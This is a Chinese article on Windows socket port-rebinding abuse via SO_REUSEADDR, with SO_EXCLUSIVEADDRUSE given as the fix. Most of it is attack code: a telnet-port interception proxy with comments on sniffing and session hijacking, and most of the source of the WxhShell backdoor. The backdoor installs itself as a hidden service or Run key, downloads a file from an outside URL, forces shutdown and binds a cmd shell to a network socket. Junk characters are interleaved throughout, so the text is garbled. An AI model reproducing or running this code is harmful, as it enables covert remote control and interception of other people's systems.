在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U-|]A\`)I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{!,K[QwcI c3]t"TA, saddr.sin_family = AF_INET;
"t|)Kl 8ud12^s$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\w9}O2lL {16a P bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
||+~8z#+, wMS%/l0p1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%m&6'Rpfk `46~j 这意味着什么?意味着可以进行如下的攻击:
~IhAO}1 dx%z9[8~{. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
m8n) sw,, qqDg2,Yb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}[+uHR6L SYJO3cY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|q`NJ >$q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
HxI6_ >n^I A?R`~*Q5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@SX%q&- 5c- P lm% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ybaY+![* RZ6y5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*-0s
`rC oR#W@OK@is #include
R"ON5,E #include
_a09;C #include
qu B[S)2} #include
JFv70rBe DWORD WINAPI ClientThread(LPVOID lpParam);
WNR]GI int main()
Po ?MTA {
^\}MG!l WORD wVersionRequested;
{-A|f DWORD ret;
Wf
c/?{ WSADATA wsaData;
0CzQel)L: BOOL val;
*\ii+f- SOCKADDR_IN saddr;
#]h
X."b2 SOCKADDR_IN scaddr;
1$Hou
int err;
FjCGD4x1N SOCKET s;
~5
6&!4 SOCKET sc;
_E'?U int caddsize;
gIo\^ktW HANDLE mt;
2u.0AG DWORD tid;
E/cV59 wVersionRequested = MAKEWORD( 2, 2 );
bPVk5G*ruP err = WSAStartup( wVersionRequested, &wsaData );
8063LWV if ( err != 0 ) {
JrcbJt printf("error!WSAStartup failed!\n");
ebA95v`Vms return -1;
IuY9Q8 }
nDnJ}`k saddr.sin_family = AF_INET;
r+#{\~r7T 7z?;z<VJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
V]|X
,G 1Uup.( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
N.*)-O
saddr.sin_port = htons(23);
(dlp5:lQz
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B[8bkFS>] {
dWz?`B{' printf("error!socket failed!\n");
}MaY:PMA return -1;
SKC;@? }
R-%6v2;ry val = TRUE;
?R]`M_^&u! //SO_REUSEADDR选项就是可以实现端口重绑定的
n])#<0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}y6)d. {
4jXo5SkEJ printf("error!setsockopt failed!\n");
prZ
,4\ return -1;
&tH?m;V }
}AS?q?4? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
tp`1S+'~j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d+,!>.<3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&nIu^,. NQ`D"n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\Th<7WbR6# {
",,# q ret=GetLastError();
`X<B+:>v- printf("error!bind failed!\n");
^+x?@$rq return -1;
6]v} }
+vkmS listen(s,2);
EHUx~Q
while(1)
8m")
)i- {
oPi>]#X caddsize = sizeof(scaddr);
u1/>)_U //接受连接请求
5{'hsC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
l@);U%\pS if(sc!=INVALID_SOCKET)
<UGaIb
{
FMdu30JV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~&RTLr#\*M if(mt==NULL)
T#B#q1/ {
O|H: printf("Thread Creat Failed!\n");
L('1NN2 break;
`=Ip>7T& }
IQJ"B6U) }
6nTM~]5. CloseHandle(mt);
I/7!5Z* }
*s4|'KS2o closesocket(s);
=e6pv# WSACleanup();
|<Ls;:5. return 0;
-m@c{&r }
!R8%C!=a DWORD WINAPI ClientThread(LPVOID lpParam)
}StzhV{GS {
kk78*s {6 SOCKET ss = (SOCKET)lpParam;
mn@1c4y SOCKET sc;
uZ?P{E,K unsigned char buf[4096];
( eKgc SOCKADDR_IN saddr;
TipH} long num;
_=$~l^Y[ DWORD val;
5Od%Jhtt DWORD ret;
4K^cj2X //如果是隐藏端口应用的话,可以在此处加一些判断
wlNL;W@w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q:q0C
+T saddr.sin_family = AF_INET;
qcs)
p saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}T[@G6# saddr.sin_port = htons(23);
ExG(*[l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m]?Z_*1 {
Wx0i_HFR printf("error!socket failed!\n");
=n,;S W return -1;
{($bzT7c }
vYRY?~8 C val = 100;
D|OGlP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Zbnxs.i! {
$U[d#:] ret = GetLastError();
~IZ-:?+S^ return -1;
4r$#- }
!*v%
s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LtB5;ByeQ0 {
<.)=CK ret = GetLastError();
k1,k 9BK return -1;
_\>y[e["p }
b%lB&}uw} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CzV;{[?~; {
^\v]Ltd printf("error!socket connect failed!\n");
8sj2@d closesocket(sc);
k5< n:dS closesocket(ss);
P"NI> HM return -1;
2xN7lfu1RB }
zh) &6'S\ while(1)
JM;bNW8 {
a>GA=r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:Pq&l. //如果是嗅探内容的话,可以再此处进行内容分析和记录
%ZoJu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
St?mq* , num = recv(ss,buf,4096,0);
/6rjGc if(num>0)
B<s+I# send(sc,buf,num,0);
\!-]$&,j4 else if(num==0)
=+X*$'<J break;
#N`'hPD} num = recv(sc,buf,4096,0);
lSR\wz*Fk if(num>0)
*{?2M6Z send(ss,buf,num,0);
b!g)/%C
else if(num==0)
N,w6 break;
J.rS@Z`~7 }
q2
7Ac;y closesocket(ss);
*4~7p4[ closesocket(sc);
L^e*_q2d:> return 0 ;
eQQVfEvS }
`x=kb; <@`K^g;W xFUD9TM
==========================================================
3wN4kltt (NUXK 下边附上一个代码,,WXhSHELL
cV:Q(|QC #~j $J ==========================================================
Z2{$FN qb nlD\ #include "stdafx.h"
ip'v<%,Q3" HV`u#hZ7C #include <stdio.h>
lU|ltnU #include <string.h>
~(m6dPm$}m #include <windows.h>
M/V"Ke"N #include <winsock2.h>
&>B|?d #include <winsvc.h>
:x q^T #include <urlmon.h>
y3*IF2G LzXIqj'H7T #pragma comment (lib, "Ws2_32.lib")
a
w~a/T: #pragma comment (lib, "urlmon.lib")
JF&$' f].z. #define MAX_USER 100 // 最大客户端连接数
0T3r#zQ #define BUF_SOCK 200 // sock buffer
}J5iY0 #define KEY_BUFF 255 // 输入 buffer
yPbOiA*lHz -GgV&%'a #define REBOOT 0 // 重启
-NG9?sI\U #define SHUTDOWN 1 // 关机
EI9Yv>7 d{ 'iYaA-9j #define DEF_PORT 5000 // 监听端口
xT9+l1_ r~;.8qs #define REG_LEN 16 // 注册表键长度
h\-jqaq #define SVC_LEN 80 // NT服务名长度
YS"76FJ 7Ph+Vs+h // 从dll定义API
Z?",+|4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d@|j>Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RDG,f/L2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
BJ/#V) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Qe/=(P< ]
)x z // wxhshell配置信息
\v_t:
" struct WSCFG {
YpZ9h@, int ws_port; // 监听端口
.+AO3~Dg char ws_passstr[REG_LEN]; // 口令
( Gxv?\ int ws_autoins; // 安装标记, 1=yes 0=no
Z42v@?R.!W char ws_regname[REG_LEN]; // 注册表键名
w_J`29uc char ws_svcname[REG_LEN]; // 服务名
o9HDxS$~^ char ws_svcdisp[SVC_LEN]; // 服务显示名
@p2dXJeR< char ws_svcdesc[SVC_LEN]; // 服务描述信息
.J\U|r char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]i]sgg[ int ws_downexe; // 下载执行标记, 1=yes 0=no
WU,72g= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u=
+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W%Zyt:H` I0jEhg%JZ };
/0YNB) 7#|NQ=yd // default Wxhshell configuration
*&2#;mf3 struct WSCFG wscfg={DEF_PORT,
O,1u\Zy/ "xuhuanlingzhe",
t@19a6:Co 1,
:U[_V4?7 "Wxhshell",
r@<; "Wxhshell",
a
m zw "WxhShell Service",
J2[QHr&tn "Wrsky Windows CmdShell Service",
{}^ELw "Please Input Your Password: ",
{:FITF3o 1,
]R>k0X.V "
http://www.wrsky.com/wxhshell.exe",
IKr7"` "Wxhshell.exe"
sBu"$"] };
w./EJkKI QBn>@jq // 消息定义模块
o%9>elOju char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H62*8y8 char *msg_ws_prompt="\n\r? for help\n\r#>";
]D-48o0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
q(p0#Mk,E char *msg_ws_ext="\n\rExit.";
uN(~JPAw5 char *msg_ws_end="\n\rQuit.";
|8`;55G char *msg_ws_boot="\n\rReboot...";
DVcu*UVw char *msg_ws_poff="\n\rShutdown...";
cnPXvD^kY char *msg_ws_down="\n\rSave to ";
Y-c~"# KE&}*Nf[ char *msg_ws_err="\n\rErr!";
"=n8PNV/
c char *msg_ws_ok="\n\rOK!";
C;)
xjZiR @
:4Kk
4g1 char ExeFile[MAX_PATH];
9cmJD5OO int nUser = 0;
O]g+z$2o HANDLE handles[MAX_USER];
fDqXM;a" int OsIsNt;
bg*{1^ .nH
/=
SERVICE_STATUS serviceStatus;
_Usg`ax- SERVICE_STATUS_HANDLE hServiceStatusHandle;
`s_TY%&_}g _z 5CplO // 函数声明
?BZ][~n-Q int Install(void);
;2|H6IN" int Uninstall(void);
ibc/x v2 int DownloadFile(char *sURL, SOCKET wsh);
JAz;_wS(k int Boot(int flag);
U.F65KaKF void HideProc(void);
w1_Ux<RF int GetOsVer(void);
"\[>@_p h int Wxhshell(SOCKET wsl);
rw2|1_AF void TalkWithClient(void *cs);
\veL 5 int CmdShell(SOCKET sock);
!v L:P2 int StartFromService(void);
x+e
_pb int StartWxhshell(LPSTR lpCmdLine);
j[`?`RyU ~\G3l,4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~m?~eJK#a VOID WINAPI NTServiceHandler( DWORD fdwControl );
-JENY|6 &zcjU+n // 数据结构和表定义
uP]o39b;V SERVICE_TABLE_ENTRY DispatchTable[] =
}aM`Jp-O {
RWo B7{G {wscfg.ws_svcname, NTServiceMain},
5,ahKB8 {NULL, NULL}
_[o^23Hj };
hFfaaB 3raA^d3!? // 自我安装
*KH@u int Install(void)
UJ$:5*S=u {
Ds_
"m, char svExeFile[MAX_PATH];
# :w2Hf6Q HKEY key;
F:S>\wG, strcpy(svExeFile,ExeFile);
\=_q{ /*^|5>-`i1 // 如果是win9x系统,修改注册表设为自启动
!gHWYWu)! if(!OsIsNt) {
(v:ek_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
UiZp-Y%ki RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c| ( ? RegCloseKey(key);
>o#wP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'\B"g@if RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,D2_Z] RegCloseKey(key);
yGGB return 0;
WcO,4: }
@[lc0_b }
ZCFf@2&z8 }
>TnQ4^;v. else {
lV6[d8P $YY)g$ // 如果是NT以上系统,安装为系统服务
cNlY=L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0(/D| if (schSCManager!=0)
!LOors za {
ZWRRh^ SC_HANDLE schService = CreateService
6*aa[,> (
Jhy
t)@7/, schSCManager,
;GFB@I@
wscfg.ws_svcname,
Evq Ai/(g wscfg.ws_svcdisp,
<!}l~Ln15 SERVICE_ALL_ACCESS,
qJXsf M6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
vF6*c SERVICE_AUTO_START,
G h[`q7B
Q SERVICE_ERROR_NORMAL,
W#jZRviyq! svExeFile,
,o@~OTja* NULL,
Sja{$zL+W NULL,
tK|9qs<% NULL,
k)usUP' NULL,
+}1hU
:qW NULL
Jhsv2,8
{ );
=PFR{=F if (schService!=0)
xPDA475Cw3 {
]8m_* I! CloseServiceHandle(schService);
mDF"&.(j CloseServiceHandle(schSCManager);
2@R8P~^W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>PJtG]D
strcat(svExeFile,wscfg.ws_svcname);
3_\{[_W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
grCO-S|j^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`!omzE*bk5 RegCloseKey(key);
UhSh(E8p> return 0;
}xf='lE }
A!ioji+{[ }
?wLdW1&PpX CloseServiceHandle(schSCManager);
Dpdn%8+Z }
G=C5T( }
6i]Nr@1C jKj=#O return 1;
;;YcuzQI3 }
OHHNWg_5 ," C[Qg( // 自我卸载
Cgz&@@j,] int Uninstall(void)
~[zFQ)([ {
3"'# |6O9 HKEY key;
\7,MZt !_U37Uj<m if(!OsIsNt) {
` /I bWu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
aJ6#=G61l RegDeleteValue(key,wscfg.ws_regname);
y8w0eq94 RegCloseKey(key);
A,m4WO_q3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,pyQP^u- RegDeleteValue(key,wscfg.ws_regname);
&r'{(O8$N RegCloseKey(key);
Ig1lol:; return 0;
w.J%qWJq }
(VYR!(17 }
3:[!t%Yb }
QFW0KD`5 else {
N>d|A]zH IjG5X[@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.vv5t if (schSCManager!=0)
G;(onJz {
[3j$ 4rP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
E tJ~dL) if (schService!=0)
O9t=lrYV! {
@J-plJ4e if(DeleteService(schService)!=0) {
8yE!7$Mj CloseServiceHandle(schService);
5%<TF.;-J CloseServiceHandle(schSCManager);
>vlQ|/C return 0;
H<`^w)? }
ow2M,KU6Z CloseServiceHandle(schService);
Z0e-W:&;kF }
a(8>n
Z,V CloseServiceHandle(schSCManager);
<1aa~duT }
pO"m~ mpA }
X_D6eYF &&X$d!V return 1;
ZV!R#Xv }
RK?jtb=&A / ^w"' ' // 从指定url下载文件
\).Nag + int DownloadFile(char *sURL, SOCKET wsh)
"
Wp
{
&oA~
Tx HRESULT hr;
~6p5H}'H1 char seps[]= "/";
\WWG>OUh.U char *token;
$zdd=.!KiK char *file;
t-_#Q bzE{ char myURL[MAX_PATH];
S#,+Z7 char myFILE[MAX_PATH];
V
{p*z 21U&Ww strcpy(myURL,sURL);
> gr<^$ token=strtok(myURL,seps);
8+9\7* while(token!=NULL)
9+}cE**=d {
-(!uC+BZX file=token;
Q*gnAi&.# token=strtok(NULL,seps);
\fTTkpM }
#+$ zE#je mxgqS=` GetCurrentDirectory(MAX_PATH,myFILE);
nh<Z1tMU strcat(myFILE, "\\");
d [r-k 2 strcat(myFILE, file);
yx2z%E send(wsh,myFILE,strlen(myFILE),0);
1t.R+1[c send(wsh,"...",3,0);
w^ 3|(F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sJOV2#r if(hr==S_OK)
&Y+e=1a+ return 0;
\Dfm(R else
*,17x`1e return 1;
$%Z3;:<Uf- rkq#7 }
"e@n:N! h(nj,X+ // 系统电源模块
nWk e#{[ int Boot(int flag)
8fh4%#,C% {
fH[Wkif HANDLE hToken;
j1A|D
TOKEN_PRIVILEGES tkp;
}-74 f ?pqU3-knH if(OsIsNt) {
~cIl$b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`"c'z; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W!91tzs: tkp.PrivilegeCount = 1;
?_%u)S*g tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
QjJfE<h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*}w+68eO if(flag==REBOOT) {
GWdSSr> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0elxA8Z~e return 0;
N'QqJe7Z }
q_sEw~~@! else {
$Asr`Q1i
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FqZgdmwR return 0;
O%&cE*eX }
[9AM\n>g }
:y1 Bt+Fp else {
D:9
2\l if(flag==REBOOT) {
mlB~V3M'G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
id?E)Jy return 0;
|55dbL$w }
Ac`;st%l. else {
Hhl-E:"H` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i%F<AY\O) return 0;
S)7/0N79A }
N=~~EtX }
:h*a
rT4{ .3X Y&6 return 1;
hqDqt"dKz }
R5(T([w' IZrk1fh // win9x进程隐藏模块
pr rT:Y void HideProc(void)
[_.n$p- {
J'Sm0 !%[S49s HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
fzPZ| if ( hKernel != NULL )
/{*$JF {
:NE/Ddgc' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
K 1W].(-@4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!Zjq9{t\" FreeLibrary(hKernel);
G5Yk bw# }
/XbW<dfl sn{tra return;
N`$!p9r }
J^
G t'(1I|7 // 获取操作系统版本
/+[63=fl int GetOsVer(void)
+B"0{>n}F {
@~:8ye OSVERSIONINFO winfo;
Z^ar.boc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:YO@_ GetVersionEx(&winfo);
-t-tn22 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~ ?^/u8 return 1;
7o]HQ[ xO else
WNy3@+@GZ return 0;
;rHO&(h- }
#b)e4vwCq 8@\7&C(g17 // 客户端句柄模块
0. ;}]v int Wxhshell(SOCKET wsl)
3z8C {
qJv[MBjk3B SOCKET wsh;
8%:]W^ struct sockaddr_in client;
'Jj=RAV` DWORD myID;
4N>>+]MWc jvwwJ<K while(nUser<MAX_USER)
{eT.SO {
I;MD>%[W, int nSize=sizeof(client);
cgT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tWPO]3hW if(wsh==INVALID_SOCKET) return 1;
:d,^I@] >U!*y4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~Y!kB:D5;~ if(handles[nUser]==0)
&^.57] closesocket(wsh);
n1v5Q2xw else
Dr#c)P~Wd nUser++;
cj$6 }
uGP(R=H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5Av=3[kh"% gAbD7SE return 0;
ROb\Rxm }
zj{s}* DXR:1w[^ // 关闭 socket
dp5cDF}l void CloseIt(SOCKET wsh)
;0%OB*lcgE {
5K%Wa]W closesocket(wsh);
,. EBOUW^ nUser--;
k;^
: ExitThread(0);
P:xT0gtt }
PAF8Wlg gE7L L=x // 客户端请求句柄
b1?xeG# void TalkWithClient(void *cs)
*f+: <=i {
Xl-e ! PL=^}{r SOCKET wsh=(SOCKET)cs;
[:EvTY char pwd[SVC_LEN];
Tl("IhkC char cmd[KEY_BUFF];
9J-b6, char chr[1];
ssQ BSbx int i,j;
~l E _L1-c 0#p/A^\#7M while (nUser < MAX_USER) {
X@A1#z+s0] olux6RP[B if(wscfg.ws_passstr) {
ZI>km?w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ki]ti={12 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qt e>r //ZeroMemory(pwd,KEY_BUFF);
B9dt=j3j2 i=0;
?\=/$Gt while(i<SVC_LEN) {
uKr1Z2 io2)1cE&f // 设置超时
:;]Oc fd_set FdRead;
5`+5{p struct timeval TimeOut;
E+95WF|4k" FD_ZERO(&FdRead);
(=x"Y{% FD_SET(wsh,&FdRead);
pJIv+ TimeOut.tv_sec=8;
'I}:!Z TimeOut.tv_usec=0;
kma?v B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
uRV<?y% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
A#wEuX=[ z`@^5_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
NPnHH:\; pwd
=chr[0]; v-j3bB
if(chr[0]==0xd || chr[0]==0xa) { YvL?j
pwd=0; 6aft$A}XnD
break; knp>m,w
} )$GIN/i
i++; 7j<e)"
} 8,T4lb<<
Wzq>JNny
// 如果是非法用户,关闭 socket OTWkUB{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
g\fhp{gWB
} l~s7Ae
XUMX*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :fcM:w&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pn.bVV:
)}v3q6?_
while(1) { gO?44^hMe
uLeRZSC
ZeroMemory(cmd,KEY_BUFF); F t&+vS
/hW d/H]
// 自动支持客户端 telnet标准 {16<^
j=0; IV16d
while(j<KEY_BUFF) { BcWcdr+}9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #EO1`9f48x
cmd[j]=chr[0]; &Nl2sey
if(chr[0]==0xa || chr[0]==0xd) { Nt`b;X&
cmd[j]=0; R@Y=o].2
break; lU]un&[N
} klOp ^w
j++; U
5w:"x
} 8ip7^
ihe(F7\U
// 下载文件 }-p[V$:S
if(strstr(cmd,"http://")) { i%Z2wP.o
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /c#`5L[
if(DownloadFile(cmd,wsh)) r{Rg920
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \YJy#2K
else NW9n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W`rNBfG>
} l.)}t)my}
else { M(q'%XL^
EOKzzX7 S
switch(cmd[0]) { iTo k[uJ}
`b5 @}',
// 帮助 i8X`HbmN
case '?': { Gi6T["
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hjx)D
break; H5>hx{
} gYop--\14]
// 安装 \(UKdv
case 'i': { gIEl.
if(Install()) KLQTKMNv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vH%gdpxX
else &fP XU*l4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iX{G]< n
break; NVV}6TUV
}
OK|qv [
// 卸载 Mn: /1eY
case 'r': { W1aa:hEf
if(Uninstall()) 5
LP?Ij
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %WFu<^jm
else O{z}8&oR:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wmr-}Y!9u%
break; {Z;t ^:s#
} "$HbK
@]!h
// 显示 wxhshell 所在路径 w2(guL($
case 'p': { &:*q_$]Oz
char svExeFile[MAX_PATH]; ({}( qm
strcpy(svExeFile,"\n\r"); lt'I,Xt
strcat(svExeFile,ExeFile); !{^\1QK
send(wsh,svExeFile,strlen(svExeFile),0); N@o?b
break; bBxw#_3A?E
} ?|;yVew
// 重启 @{
;XZb^
case 'b': { }}{!u0N},V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >ndJNinV
if(Boot(REBOOT)) z+2V4s =
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %rKK[
else { jMBiaX`F
closesocket(wsh); )4Q?aMm
ExitThread(0); c/W=$3
} +~Cy$MCX
break; 3*_fzP<R
} jD,Baz<
// 关机 $9
p!Y}
case 'd': { 3.
WF}8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z5G!ct:W
if(Boot(SHUTDOWN)) De
*7OC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6&v?)o
else { y9Y1PH7G
closesocket(wsh); g{s'GyV8t
ExitThread(0); .?C%1a&_l
} W\*-xf|"d
break; Zwt; d5U
} [}mA`5
// 获取shell ^u)z{.z'H/
case 's': { 3ucP(Ex@tg
CmdShell(wsh); |BMV.Zi
closesocket(wsh); &`|:L(+
ExitThread(0); s3s4OAY
break; u }hF8eD
} >/f_F6ay#
// 退出 dP$GThGl
case 'x': { _S0+;9fhY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c2l_$p
CloseIt(wsh); Ha>*?`?yI
break; xk~IN%\
} UQCo}vM
// 离开 OY-w?'p?W
case 'q': { wHjLd$ +o
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I&c ~8Dw
closesocket(wsh); =%)+%[wv
WSACleanup(); pC,o2~%{
exit(1); +H/jK @
break; SD\=
m/W
} w^k;D,h
} >r/rc`Q
} fpyz'
]-o"}"3Ef
// 提示信息 }0hL~i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ij5g^{_T;8
} @*N)i?>
} EUYCcL'G
{npcPp9
return; 8{U-m0v
} NIr@R7MKd
iJFs0?*
// shell模块句柄 $$Vt7"F
int CmdShell(SOCKET sock) `?\tUO2_T
{ .V9e=yW!*
STARTUPINFO si; +Z2MIC|Ud
ZeroMemory(&si,sizeof(si)); iyZZ}M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x Ha=3n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #BK 9 k>i
PROCESS_INFORMATION ProcessInfo; !;@_VWR
char cmdline[]="cmd"; .UCt|> $
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pqM~l&
return 0; ;Lw{XqT
} nm$Dd~mxW1
NW|f7
ItX
// 自身启动模式 R`Aj|C
z
int StartFromService(void) ~cAZB9Fa
{ |4)
typedef struct D;GD<zC]
{ gsar[gZ
DWORD ExitStatus; Ou>u%
DWORD PebBaseAddress; ~pk(L[G
DWORD AffinityMask; o{v&.z
DWORD BasePriority; E9j+o y
ULONG UniqueProcessId; T[k4lM
